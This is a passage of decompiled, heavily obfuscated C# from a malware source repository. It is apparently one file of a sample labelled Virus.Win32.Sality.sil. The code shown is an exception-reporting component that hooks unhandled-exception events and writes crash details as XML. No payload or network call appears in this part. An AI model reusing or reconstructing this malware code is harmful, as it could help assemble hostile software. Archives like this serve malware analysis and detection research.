MalwareSourceCode/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003/_0006.cs

1318 lines
51 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe
using \u0002;
using \u0003;
using \u0004;
using Microsoft.Win32;
using SmartAssembly.SmartExceptionsCore;
using System;
using System.Collections;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security;
using System.Security.Permissions;
using System.Text;
using System.Threading;
using System.Web.Services.Protocols;
using System.Xml;
namespace \u0003
{
internal abstract class \u0006
{
[NonSerialized]
internal static \u0001.\u0002 \u0001;
private static string \u0001;
internal static bool \u0001;
private IWebProxy \u0001;
private char[] \u0001 = new char[0];
private static \u0006 \u0001;
private Exception \u0001;
private Hashtable \u0001;
private Hashtable \u0002;
private XmlTextWriter \u0001;
private ArrayList \u0001 = new ArrayList();
private ArrayList \u0002 = new ArrayList();
private Hashtable \u0003 = new Hashtable();
private ArrayList \u0003 = new ArrayList();
private Hashtable \u0004 = new Hashtable();
private EventHandler \u0001;
private \u0004.\u0002 \u0001;
[SpecialName]
[MethodImpl(MethodImplOptions.Synchronized)]
public void \u0003([In] EventHandler obj0) => this.\u0001 = (EventHandler) \u0018\u0003.\u0014\u0004((Delegate) this.\u0001, (Delegate) obj0);
[SpecialName]
[MethodImpl(MethodImplOptions.Synchronized)]
public void \u0003([In] \u0004.\u0002 obj0) => this.\u0001 = (\u0004.\u0002) \u0018\u0003.\u0014\u0004((Delegate) this.\u0001, (Delegate) obj0);
protected abstract void \u0003([In] \u0005.\u0002 obj0);
protected abstract void \u0003([In] \u0004.\u0005 obj0);
protected abstract void \u0003([In] \u0004.\u0004 obj0);
[SecurityPermission(SecurityAction.Demand, UnmanagedCode = true)]
public static void \u0003([In] \u0006 obj0)
{
if (obj0 == null)
return;
\u0006.\u0001 = obj0;
\u008C\u0005.\u007E\u001F\u0004((object) \u0099\u0003.\u001D\u0004(), new UnhandledExceptionEventHandler(obj0.\u0003));
\u007F\u0003.\u001F(new ThreadExceptionEventHandler(obj0.\u0003));
}
[SpecialName]
public char[] \u0003()
{
string str;
if (this.\u0001.Length == 0 && (str = \u0003\u0006.\u007E\u008F\u0003((object) \u0006.\u0001(1019))) != null)
{
if (!\u0008\u0003.\u0081\u0003(str, \u0006.\u0001(1032)))
{
if (\u0008\u0003.\u0081\u0003(str, \u0006.\u0001(1019)))
this.\u0001 = new char[58]
{
'\u0001',
'\u0002',
'\u0003',
'\u0004',
'\u0005',
'\u0006',
'\a',
'\b',
'\u000E',
'\u000F',
'\u0010',
'\u0011',
'\u0012',
'\u0013',
'\u0014',
'\u0015',
'\u0016',
'\u0017',
'\u0018',
'\u0019',
'\u001A',
'\u001B',
'\u001C',
'\u001D',
'\u001E',
'\u001F',
'\u007F',
'\u0080',
'\u0081',
'\u0082',
'\u0083',
'\u0084',
'\u0086',
'\u0087',
'\u0088',
'\u0089',
'\u008A',
'\u008B',
'\u008C',
'\u008D',
'\u008E',
'\u008F',
'\u0090',
'\u0091',
'\u0092',
'\u0093',
'\u0094',
'\u0095',
'\u0096',
'\u0097',
'\u0098',
'\u0099',
'\u009A',
'\u009B',
'\u009C',
'\u009D',
'\u009E',
'\u009F'
};
}
else
this.\u0001 = new char[62]
{
'a',
'b',
'c',
'd',
'e',
'f',
'g',
'h',
'i',
'j',
'k',
'l',
'm',
'n',
'o',
'p',
'q',
'r',
's',
't',
'u',
'v',
'w',
'x',
'y',
'z',
'A',
'B',
'C',
'D',
'E',
'F',
'G',
'H',
'I',
'J',
'K',
'L',
'M',
'N',
'O',
'P',
'Q',
'R',
'S',
'T',
'U',
'V',
'W',
'X',
'Y',
'Z',
'0',
'1',
'2',
'3',
'4',
'5',
'6',
'7',
'8',
'9'
};
}
return this.\u0001;
}
public static void \u0003([In] Exception obj0, [In] object[] obj1)
{
try
{
if (obj0 != null && obj0 is SecurityException && \u0008\u0003.\u0081\u0003(\u0006.\u0001, \u0006.\u0001(1041)) && \u0006.\u0001.\u0003((SecurityException) obj0))
return;
\u0006.\u0001.\u0003(UnhandledException.\u0003(obj0, obj1), false);
}
catch
{
\u0016\u0005.\u007F();
}
}
public static Exception \u0003([In] Exception obj0, [In] object[] obj1)
{
\u0006.\u0004(obj0, obj1);
return (Exception) new SoapException(\u0003\u0006.\u007E\u0001\u0004((object) obj0), SoapException.ServerFaultCode);
}
public static void \u0004([In] Exception obj0, [In] object[] obj1)
{
try
{
if (\u0006.\u0001 == null)
{
foreach (Type type in \u0091\u0003.\u007E\u001B\u0006((object) \u0003\u0003.\u0082\u0006()))
{
if ((object) type != null && (object) \u0011\u0004.\u007E\u0016\u0005((object) type) != null)
{
// ISSUE: type reference
if ((object) \u0011\u0004.\u007E\u0016\u0005((object) type) == (object) \u0084\u0003.\u0012\u0005(__typeref (\u0006)))
{
try
{
\u0006.\u0001 = (\u0006) \u008D\u0002.\u0016\u0004(type, true);
if (\u0006.\u0001 != null)
break;
}
catch
{
}
}
}
}
}
if (\u0006.\u0001 == null)
return;
\u0006.\u0001.\u0003(UnhandledException.\u0003(obj0, obj1), true);
}
catch
{
}
}
private void \u0003([In] object obj0, [In] ThreadExceptionEventArgs obj1)
{
try
{
if (\u001B\u0004.\u007E\u001A\u0008((object) obj1) is SecurityException && \u0008\u0003.\u0081\u0003(\u0006.\u0001, \u0006.\u0001(1041)) && this.\u0003(\u001B\u0004.\u007E\u001A\u0008((object) obj1) as SecurityException))
return;
this.\u0003(\u001B\u0004.\u007E\u001A\u0008((object) obj1), true);
}
catch
{
}
}
private void \u0003([In] object obj0, [In] UnhandledExceptionEventArgs obj1)
{
try
{
if (\u0010\u0005.\u007E\u008C\u0005((object) obj1) is SecurityException && \u0008\u0003.\u0081\u0003(\u0006.\u0001, \u0006.\u0001(1041)) && this.\u0003(\u0010\u0005.\u007E\u008C\u0005((object) obj1) as SecurityException) || !(\u0010\u0005.\u007E\u008C\u0005((object) obj1) is Exception))
return;
this.\u0003((Exception) \u0010\u0005.\u007E\u008C\u0005((object) obj1), !\u009E\u0005.\u007E\u008D\u0005((object) obj1));
}
catch
{
}
}
private string \u0003([In] object obj0)
{
try
{
if (obj0 == null)
return string.Empty;
if (obj0 is int num1)
return num1.ToString(\u0006.\u0001(1046));
switch (obj0)
{
case long num2:
return num2.ToString(\u0006.\u0001(1046));
case short num3:
return num3.ToString(\u0006.\u0001(1046));
case uint num4:
return num4.ToString(\u0006.\u0001(1046));
case ulong num5:
return num5.ToString(\u0006.\u0001(1046));
case ushort num6:
return num6.ToString(\u0006.\u0001(1046));
case byte num7:
return num7.ToString(\u0006.\u0001(1046));
case sbyte num8:
return num8.ToString(\u0006.\u0001(1046));
case IntPtr num9:
return num9.ToInt64().ToString(\u0006.\u0001(1046));
case UIntPtr num10:
return num10.ToUInt64().ToString(\u0006.\u0001(1046));
}
}
catch
{
}
return string.Empty;
}
private string \u0003([In] string obj0) => \u0087\u0003.\u007E\u008D\u0003((object) obj0, \u0006.\u0001(1051)) && \u0087\u0003.\u007E\u0089\u0003((object) obj0, \u0006.\u0001(1072)) ? \u0006.\u0001(1093) : obj0;
private void \u0003([In] object obj0, [In] FieldInfo obj1)
{
string str1 = (object) obj1 == null ? (string) null : \u0003\u0006.\u007E\u0007\u0005((object) obj1);
string str2 = (object) obj1 == null ? \u0006.\u0001(1175) : \u0006.\u0001(1166);
if (obj0 == null)
{
\u0096\u0004.\u007E\u0012((object) this.\u0001, str2);
if ((object) obj1 != null)
{
if (\u009E\u0005.\u007E\u0096\u0006((object) obj1))
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1184), \u0006.\u0001(1041));
Type type = \u0011\u0004.\u007E\u0093\u0006((object) obj1);
if ((object) type != null && \u009E\u0005.\u007E\u0082\u0005((object) type))
{
this.\u0003(\u0011\u0004.\u007E\u0083\u0005((object) type));
if (\u009E\u0005.\u007E\u007F\u0005((object) type))
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1193), \u0006.\u0001(1041));
if (\u009E\u0005.\u007E\u0080\u0005((object) type))
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1202), \u0006.\u0001(1041));
if (\u009E\u0005.\u007E\u001F\u0005((object) type))
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1215), \u008A\u0005.\u007E\u0015\u0005((object) type).ToString());
}
else
this.\u0003(type);
}
if (str1 != null)
this.\u0003(str1);
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1224), \u0006.\u0001(1041));
\u0087\u0005.\u007E\u0013((object) this.\u0001);
}
else
{
Type type = \u0011\u0004.\u007E\u0015\u0003(obj0);
string str3 = (string) null;
string str4 = (string) null;
if (obj0 is string)
str3 = \u0006.\u0001(1233);
if (str3 == null)
{
if (\u009E\u0005.\u007E\u0081\u0005((object) type) || obj0 is IntPtr || obj0 is UIntPtr)
{
str3 = \u0003\u0006.\u007E\u0013\u0005((object) type);
if (obj0 is char ch)
{
int num = (int) ch;
StringBuilder stringBuilder1 = new StringBuilder();
if (num >= 32)
{
StringBuilder stringBuilder2 = \u0086\u0004.\u007E\u009B\u0003((object) stringBuilder1, '\'');
StringBuilder stringBuilder3 = \u0086\u0004.\u007E\u009B\u0003((object) stringBuilder1, (char) obj0);
StringBuilder stringBuilder4 = \u0097\u0005.\u007E\u009A\u0003((object) stringBuilder1, \u0006.\u0001(1254));
}
StringBuilder stringBuilder5 = \u0097\u0005.\u007E\u009A\u0003((object) stringBuilder1, \u0006.\u0001(1259));
StringBuilder stringBuilder6 = \u0097\u0005.\u007E\u009A\u0003((object) stringBuilder1, num.ToString(\u0006.\u0001(1046)));
StringBuilder stringBuilder7 = \u0086\u0004.\u007E\u009B\u0003((object) stringBuilder1, ')');
str4 = \u0003\u0006.\u007E\u0013\u0003((object) stringBuilder1);
}
if (obj0 is bool)
str4 = \u0003\u0006.\u007E\u008E\u0003((object) \u0003\u0006.\u007E\u0013\u0003(obj0));
if (str4 == null)
{
string str5 = string.Empty;
try
{
str5 = this.\u0003(obj0);
}
catch
{
}
if (\u008A\u0005.\u007E\u0084\u0003((object) str5) > 0)
{
StringBuilder stringBuilder8 = new StringBuilder();
StringBuilder stringBuilder9 = \u0097\u0005.\u007E\u009A\u0003((object) stringBuilder8, \u0003\u0006.\u007E\u0013\u0003(obj0));
StringBuilder stringBuilder10 = \u0097\u0005.\u007E\u009A\u0003((object) stringBuilder8, \u0006.\u0001(1264));
StringBuilder stringBuilder11 = \u0097\u0005.\u007E\u009A\u0003((object) stringBuilder8, str5);
StringBuilder stringBuilder12 = \u0086\u0004.\u007E\u009B\u0003((object) stringBuilder8, ')');
str4 = \u0003\u0006.\u007E\u0013\u0003((object) stringBuilder8);
}
else
str4 = \u0003\u0006.\u007E\u0013\u0003(obj0);
}
}
else if (\u009E\u0005.\u007E\u001D\u0005((object) type) && (object) \u0093\u0004.\u007E\u0010\u0005((object) type) != (object) \u0093\u0004.\u007E\u0010\u0005((object) \u0011\u0004.\u0015\u0003((object) this)))
str3 = \u0003\u0006.\u007E\u0013\u0005((object) type);
}
if (str3 != null)
{
\u0096\u0004.\u007E\u0012((object) this.\u0001, str2);
if ((object) obj1 != null && \u009E\u0005.\u007E\u0096\u0006((object) obj1))
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1184), \u0006.\u0001(1041));
this.\u0003(type);
if (str1 != null)
this.\u0003(str1);
if (\u009E\u0005.\u007E\u001E\u0005((object) type))
str4 = \u0003\u0006.\u007E\u0013\u0003(obj0);
if (obj0 is Guid)
str4 = \u0091\u0005.\u0096\u0003(\u0006.\u0001(698), \u0003\u0006.\u007E\u0013\u0003(obj0), \u0006.\u0001(1273));
if (str4 == null)
str4 = \u0091\u0005.\u0096\u0003(\u0006.\u0001(1278), \u0003\u0006.\u007E\u0013\u0003(obj0), \u0006.\u0001(1278));
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1283), this.\u0003(str4));
\u0087\u0005.\u007E\u0013((object) this.\u0001);
}
else
{
\u0096\u0004.\u007E\u0012((object) this.\u0001, str2);
if ((object) obj1 != null && \u009E\u0005.\u007E\u0096\u0006((object) obj1))
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1184), \u0006.\u0001(1041));
int num = -1;
for (int index = 0; index < \u008A\u0005.\u007E\u009A\u0005((object) this.\u0001); ++index)
{
try
{
if (\u0097\u0004.\u007E\u0014\u0003(\u0081\u0005.\u007E\u009B\u0005((object) this.\u0001, index), obj0))
{
num = index;
break;
}
}
catch
{
}
}
if (num == -1)
num = \u0088\u0004.\u007E\u009C\u0005((object) this.\u0001, obj0);
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1292), num.ToString());
if (str1 != null)
this.\u0003(str1);
\u0087\u0005.\u007E\u0013((object) this.\u0001);
}
}
}
private void \u0003([In] string obj0)
{
int num = this.\u0003(obj0);
if (num != -1)
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1297), num.ToString());
else
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1306), obj0);
}
private \u0006.\u0003 \u0003([In] Type obj0)
{
\u0006.\u0003 obj = \u0006.\u0003.\u0003();
if ((object) obj0 != null && (object) \u0092\u0003.\u007E\u001A\u0006((object) \u0008\u0005.\u007E\u0011\u0005((object) obj0), \u0006.\u0001(1315)) != null)
{
obj.\u0001 = ((\u008A\u0005.\u007E\u000E\u0005((object) obj0) & 16777215) - 1).ToString();
Assembly assembly = \u0008\u0005.\u007E\u0011\u0005((object) obj0);
obj.\u0001 = new \u0006.\u0002(\u008F\u0002.\u007E\u008C\u0006((object) \u0093\u0004.\u007E\u001D\u0006((object) assembly)).ToString(\u0006.\u0001(1376)), \u0003\u0006.\u007E\u0019\u0006((object) assembly));
}
return obj;
}
private int \u0003([In] \u0006.\u0003 obj0)
{
string str = \u0003\u0006.\u007E\u008F\u0003((object) obj0.\u0001.\u0001);
if (\u0097\u0004.\u007E\u0004\u0006((object) this.\u0004, (object) str))
return (int) \u0083\u0005.\u007E\u0005\u0006((object) this.\u0004, (object) str);
int num = \u0088\u0004.\u007E\u009C\u0005((object) this.\u0003, (object) obj0.\u0001);
\u0001\u0005.\u007E\u0002\u0006((object) this.\u0004, (object) str, (object) num);
return num;
}
private void \u0003([In] Type obj0)
{
if ((object) obj0 == null)
return;
try
{
\u0006.\u0003 obj = this.\u0003(obj0);
if (!obj.\u0003())
{
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1381), obj.\u0001);
int num = this.\u0003(obj);
if (num <= 0)
return;
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1394), num.ToString());
}
else
{
string str1 = \u0003\u0006.\u007E\u0013\u0005((object) obj0);
int num1;
if (\u0097\u0004.\u007E\u0004\u0006((object) this.\u0003, (object) str1))
{
num1 = (int) \u0083\u0005.\u007E\u0005\u0006((object) this.\u0003, (object) str1);
}
else
{
StringBuilder stringBuilder1 = new StringBuilder();
string str2 = \u0003\u0006.\u007E\u008A\u0006((object) \u0095\u0004.\u007E\u0018\u0006((object) \u0008\u0005.\u007E\u0011\u0005((object) obj0)));
if (\u008A\u0005.\u007E\u0084\u0003((object) str2) > 0 && \u0008\u0003.\u0082\u0003(str2, \u0006.\u0001(1407)))
{
StringBuilder stringBuilder2 = \u0086\u0004.\u007E\u009B\u0003((object) stringBuilder1, '[');
StringBuilder stringBuilder3 = \u0097\u0005.\u007E\u009A\u0003((object) stringBuilder1, str2);
StringBuilder stringBuilder4 = \u0086\u0004.\u007E\u009B\u0003((object) stringBuilder1, ']');
}
string str3 = \u0003\u0006.\u007E\u0014\u0005((object) obj0);
if (\u008A\u0005.\u007E\u0084\u0003((object) str3) > 0)
{
StringBuilder stringBuilder5 = \u0097\u0005.\u007E\u009A\u0003((object) stringBuilder1, str3);
StringBuilder stringBuilder6 = \u0086\u0004.\u007E\u009B\u0003((object) stringBuilder1, '.');
}
if (\u009E\u0005.\u007E\u0082\u0005((object) obj0))
obj0 = \u0011\u0004.\u007E\u0083\u0005((object) obj0);
int num2 = \u0016\u0003.\u007E\u008C\u0003((object) str1, \u0006.\u0001(1420));
if (num2 > 0)
{
string str4 = \u0097\u0002.\u007E\u0091\u0003((object) \u0098\u0004.\u007E\u0088\u0003((object) str1, \u008A\u0005.\u007E\u0084\u0003((object) str3) + 1, num2 - \u008A\u0005.\u007E\u0084\u0003((object) str3)), \u0006.\u0001(1420), \u0006.\u0001(1425));
StringBuilder stringBuilder7 = \u0097\u0005.\u007E\u009A\u0003((object) stringBuilder1, str4);
}
StringBuilder stringBuilder8 = \u0097\u0005.\u007E\u009A\u0003((object) stringBuilder1, \u0003\u0006.\u007E\u0007\u0005((object) obj0));
num1 = \u0088\u0004.\u007E\u009C\u0005((object) this.\u0002, (object) \u0003\u0006.\u007E\u0013\u0003((object) stringBuilder1));
\u0001\u0005.\u007E\u0002\u0006((object) this.\u0003, (object) str1, (object) num1);
}
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1430), num1.ToString());
}
}
catch
{
}
}
private int \u0003([In] string obj0)
{
try
{
bool flag1 = this.\u0003()[0] == '\u0001';
if (obj0 == null || \u008A\u0005.\u007E\u0084\u0003((object) obj0) == 0 || flag1 && \u008A\u0005.\u007E\u0084\u0003((object) obj0) > 4 || !flag1 && \u009E\u0004.\u007E\u0083\u0003((object) obj0, 0) != '#')
return -1;
int num = 0;
for (int index1 = \u008A\u0005.\u007E\u0084\u0003((object) obj0) - 1; index1 >= 0 && (flag1 || index1 != 0); --index1)
{
char ch = \u009E\u0004.\u007E\u0083\u0003((object) obj0, index1);
bool flag2 = false;
for (int index2 = 0; index2 < this.\u0003().Length; ++index2)
{
if ((int) this.\u0003()[index2] == (int) ch)
{
num = num * this.\u0003().Length + index2;
flag2 = true;
break;
}
}
if (!flag2)
return -1;
}
return num;
}
catch
{
return -1;
}
}
protected virtual Guid \u0003() => Guid.Empty;
private string \u0003()
{
try
{
return \u009E\u0003.\u001D();
}
catch
{
return \u0006.\u0001(1443);
}
}
private Assembly[] \u0003()
{
try
{
return \u009A\u0002.\u007E\u001E\u0004((object) \u0099\u0003.\u001D\u0004());
}
catch
{
return new Assembly[1]{ this.\u0003() };
}
}
private Assembly \u0003()
{
try
{
return \u0003\u0003.\u0082\u0006();
}
catch
{
return (Assembly) null;
}
}
private byte[] \u0003([In] string obj0)
{
MemoryStream w = new MemoryStream();
this.\u0001 = new XmlTextWriter((Stream) w, (Encoding) new UTF8Encoding(false));
\u0087\u0005.\u007E\u0010((object) this.\u0001);
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(1448));
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1481), \u0003\u0006.\u007E\u008F\u0003((object) \u0006.\u0001(1498)));
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1551), \u0002\u0006.\u000F\u0004().ToString(\u0006.\u0001(1564)));
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1569), this.\u0003());
Guid guid = this.\u0003();
if (\u001B\u0003.\u0094\u0004(guid, Guid.Empty))
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1578), guid.ToString(\u0006.\u0001(1376)));
if (\u008A\u0005.\u007E\u0084\u0003((object) obj0) > 0)
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1587), obj0);
if (\u008A\u0005.\u007E\u009A\u0005((object) this.\u0003) > 0)
\u0087\u0005.\u007E\u009D\u0005((object) this.\u0003);
int num1 = \u0088\u0004.\u007E\u009C\u0005((object) this.\u0003, (object) new \u0006.\u0002(\u0006.\u0001(1498), string.Empty));
if (\u008A\u0005.\u007E\u0007\u0006((object) this.\u0004) > 0)
\u0087\u0005.\u007E\u0003\u0006((object) this.\u0004);
\u0001\u0005.\u007E\u0002\u0006((object) this.\u0004, (object) \u0006.\u0001(1498), (object) 0);
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(1600));
Assembly assembly1 = this.\u0003();
foreach (Assembly assembly2 in this.\u0003())
{
if ((object) assembly2 != null)
{
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(1394));
try
{
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1306), \u0003\u0006.\u007E\u0019\u0006((object) assembly2));
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1617), \u0003\u0006.\u007E\u0017\u0006((object) assembly2));
if ((object) assembly2 == (object) assembly1)
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1630), \u0006.\u0001(1041));
}
catch
{
}
\u0087\u0005.\u007E\u0013((object) this.\u0001);
}
}
\u0087\u0005.\u007E\u0013((object) this.\u0001);
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(1639));
if (this.\u0001 != null && \u008A\u0005.\u007E\u0007\u0006((object) this.\u0001) > 0)
{
IEnumerator enumerator = \u0083\u0004.\u007E\u0016\u0003((object) \u0015\u0005.\u007E\u0006\u0006((object) this.\u0001));
try
{
while (\u009E\u0005.\u007E\u001D\u0003((object) enumerator))
{
string str1 = (string) \u0010\u0005.\u007E\u001E\u0003((object) enumerator);
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(1664));
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1306), str1);
string str2 = (string) \u0083\u0005.\u007E\u0005\u0006((object) this.\u0001, (object) str1);
if (str2 == null)
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1224), \u0006.\u0001(1041));
else
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1283), \u0091\u0005.\u0096\u0003(\u0006.\u0001(1278), str2, \u0006.\u0001(1278)));
\u0087\u0005.\u007E\u0013((object) this.\u0001);
}
}
finally
{
if (enumerator is IDisposable disposable)
\u0087\u0005.\u007E\u001F\u0003((object) disposable);
}
}
\u0087\u0005.\u007E\u0013((object) this.\u0001);
if (this.\u0002 != null && \u008A\u0005.\u007E\u0007\u0006((object) this.\u0002) > 0)
{
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(1685));
IEnumerator enumerator = \u0083\u0004.\u007E\u0016\u0003((object) \u0015\u0005.\u007E\u0006\u0006((object) this.\u0002));
try
{
while (\u009E\u0005.\u007E\u001D\u0003((object) enumerator))
{
string str = (string) \u0010\u0005.\u007E\u001E\u0003((object) enumerator);
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(1706));
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1723), str);
\u0006.\u0001 obj = (\u0006.\u0001) \u0083\u0005.\u007E\u0005\u0006((object) this.\u0002, (object) str);
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1728), obj.\u0001);
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1741), obj.\u0001.ToString());
if (\u008A\u0005.\u007E\u0084\u0003((object) obj.\u0003) > 0)
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1750), obj.\u0003);
else
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1759), obj.\u0002);
\u0087\u0005.\u007E\u0013((object) this.\u0001);
}
}
finally
{
if (enumerator is IDisposable disposable)
\u0087\u0005.\u007E\u001F\u0003((object) disposable);
}
\u0087\u0005.\u007E\u0013((object) this.\u0001);
}
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(1768));
try
{
\u0014\u0004.\u007E\u0016((object) this.\u0001, \u0006.\u0001(1793), \u0003\u0006.\u007E\u0013\u0003((object) \u0007\u0005.\u007E\u0006\u0005((object) \u0081\u0003.\u0090\u0004())));
\u0014\u0004.\u007E\u0016((object) this.\u0001, \u0006.\u0001(1806), \u0003\u0006.\u007E\u0013\u0003((object) \u008C\u0004.\u007E\u0005\u0005((object) \u0081\u0003.\u0090\u0004())));
\u0014\u0004.\u007E\u0016((object) this.\u0001, \u0006.\u0001(1823), \u0005.\u0003.\u0003());
}
catch
{
}
\u0087\u0005.\u007E\u0013((object) this.\u0001);
ArrayList arrayList = new ArrayList();
for (Exception exception = this.\u0001; exception != null; exception = \u001B\u0004.\u007E\u0002\u0004((object) exception))
{
Type type = \u0011\u0004.\u007E\u0005\u0004((object) exception);
if (\u0008\u0003.\u0081\u0003(\u0003\u0006.\u007E\u0007\u0005((object) type), \u0006.\u0001(1840)) && \u0008\u0003.\u0081\u0003(\u0003\u0006.\u007E\u0014\u0005((object) type), \u0006.\u0001(1865)))
{
int num2 = \u0088\u0004.\u007E\u009C\u0005((object) arrayList, (object) exception);
}
else
\u0002\u0003.\u007E\u009F\u0005((object) arrayList, 0, (object) exception);
}
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(1910));
int num3 = \u008A\u0005.\u007E\u009A\u0005((object) arrayList);
int num4 = 0;
IEnumerator enumerator1 = \u0083\u0004.\u007E\u009E\u0005((object) arrayList);
try
{
while (\u009E\u0005.\u007E\u001D\u0003((object) enumerator1))
{
Exception exception = (Exception) \u0010\u0005.\u007E\u001E\u0003((object) enumerator1);
++num4;
if (num4 > 100 && num4 == num3 - 100)
{
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(1927));
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1948), num3.ToString());
\u0087\u0005.\u007E\u0013((object) this.\u0001);
}
else if (num4 <= 100 || num4 > num3 - 100)
{
Type type = \u0011\u0004.\u007E\u0005\u0004((object) exception);
if (\u0008\u0003.\u0081\u0003(\u0003\u0006.\u007E\u0007\u0005((object) type), \u0006.\u0001(1840)) && \u0008\u0003.\u0081\u0003(\u0003\u0006.\u007E\u0014\u0005((object) type), \u0006.\u0001(1865)))
{
int num5 = 0;
int num6 = -1;
object[] objArray = (object[]) null;
\u0006.\u0003 obj1 = \u0006.\u0003.\u0003();
bool flag = true;
try
{
num5 = (int) \u0083\u0005.\u007E\u0094\u0006((object) \u0010\u0004.\u007E\u001A\u0005((object) type, \u0006.\u0001(1973)), (object) exception);
num6 = (int) \u0083\u0005.\u007E\u0094\u0006((object) \u0010\u0004.\u007E\u001A\u0005((object) type, \u0006.\u0001(1986)), (object) exception);
objArray = (object[]) \u0083\u0005.\u007E\u0094\u0006((object) \u0010\u0004.\u007E\u001A\u0005((object) type, \u0006.\u0001(1999)), (object) exception);
obj1 = this.\u0003(type);
}
catch
{
flag = false;
}
if (flag && !obj1.\u0003())
{
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(2012));
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1973), num5.ToString());
int num7 = this.\u0003(obj1);
if (num7 > 0)
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1394), num7.ToString());
if (num6 != -1)
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1986), num6.ToString());
foreach (object obj2 in objArray)
{
try
{
this.\u0003(obj2, (FieldInfo) null);
}
catch
{
}
}
\u0087\u0005.\u007E\u0013((object) this.\u0001);
}
}
else
{
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(2029));
try
{
this.\u0003(\u0011\u0004.\u007E\u0005\u0004((object) exception));
string str3 = \u0006.\u0001(1443);
try
{
str3 = \u0003\u0006.\u007E\u0001\u0004((object) exception);
}
catch
{
}
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(2042), str3);
string str4 = \u0003\u0006.\u007E\u0090\u0003((object) \u0003\u0006.\u007E\u0003\u0004((object) exception));
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(2055), str4);
int num8 = \u0004\u0005.\u007E\u008A\u0003((object) str4, ' ');
string str5 = \u009B\u0002.\u007E\u0087\u0003((object) str4, num8 + 1);
int num9 = \u0016\u0003.\u007E\u008B\u0003((object) str5, \u0006.\u0001(2084));
if (num9 != -1)
str5 = \u0098\u0004.\u007E\u0088\u0003((object) str5, 0, num9);
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(2089), str5);
}
catch
{
}
\u0087\u0005.\u007E\u0013((object) this.\u0001);
}
}
}
}
finally
{
if (enumerator1 is IDisposable disposable)
\u0087\u0005.\u007E\u001F\u0003((object) disposable);
}
\u0087\u0005.\u007E\u0013((object) this.\u0001);
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(1999));
int num10 = \u008A\u0005.\u007E\u009A\u0005((object) this.\u0001);
for (int index1 = 0; index1 < \u008A\u0005.\u007E\u009A\u0005((object) this.\u0001); ++index1)
{
object obj3 = \u0081\u0005.\u007E\u009B\u0005((object) this.\u0001, index1);
Type type = \u0011\u0004.\u007E\u0015\u0003(obj3);
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(2098));
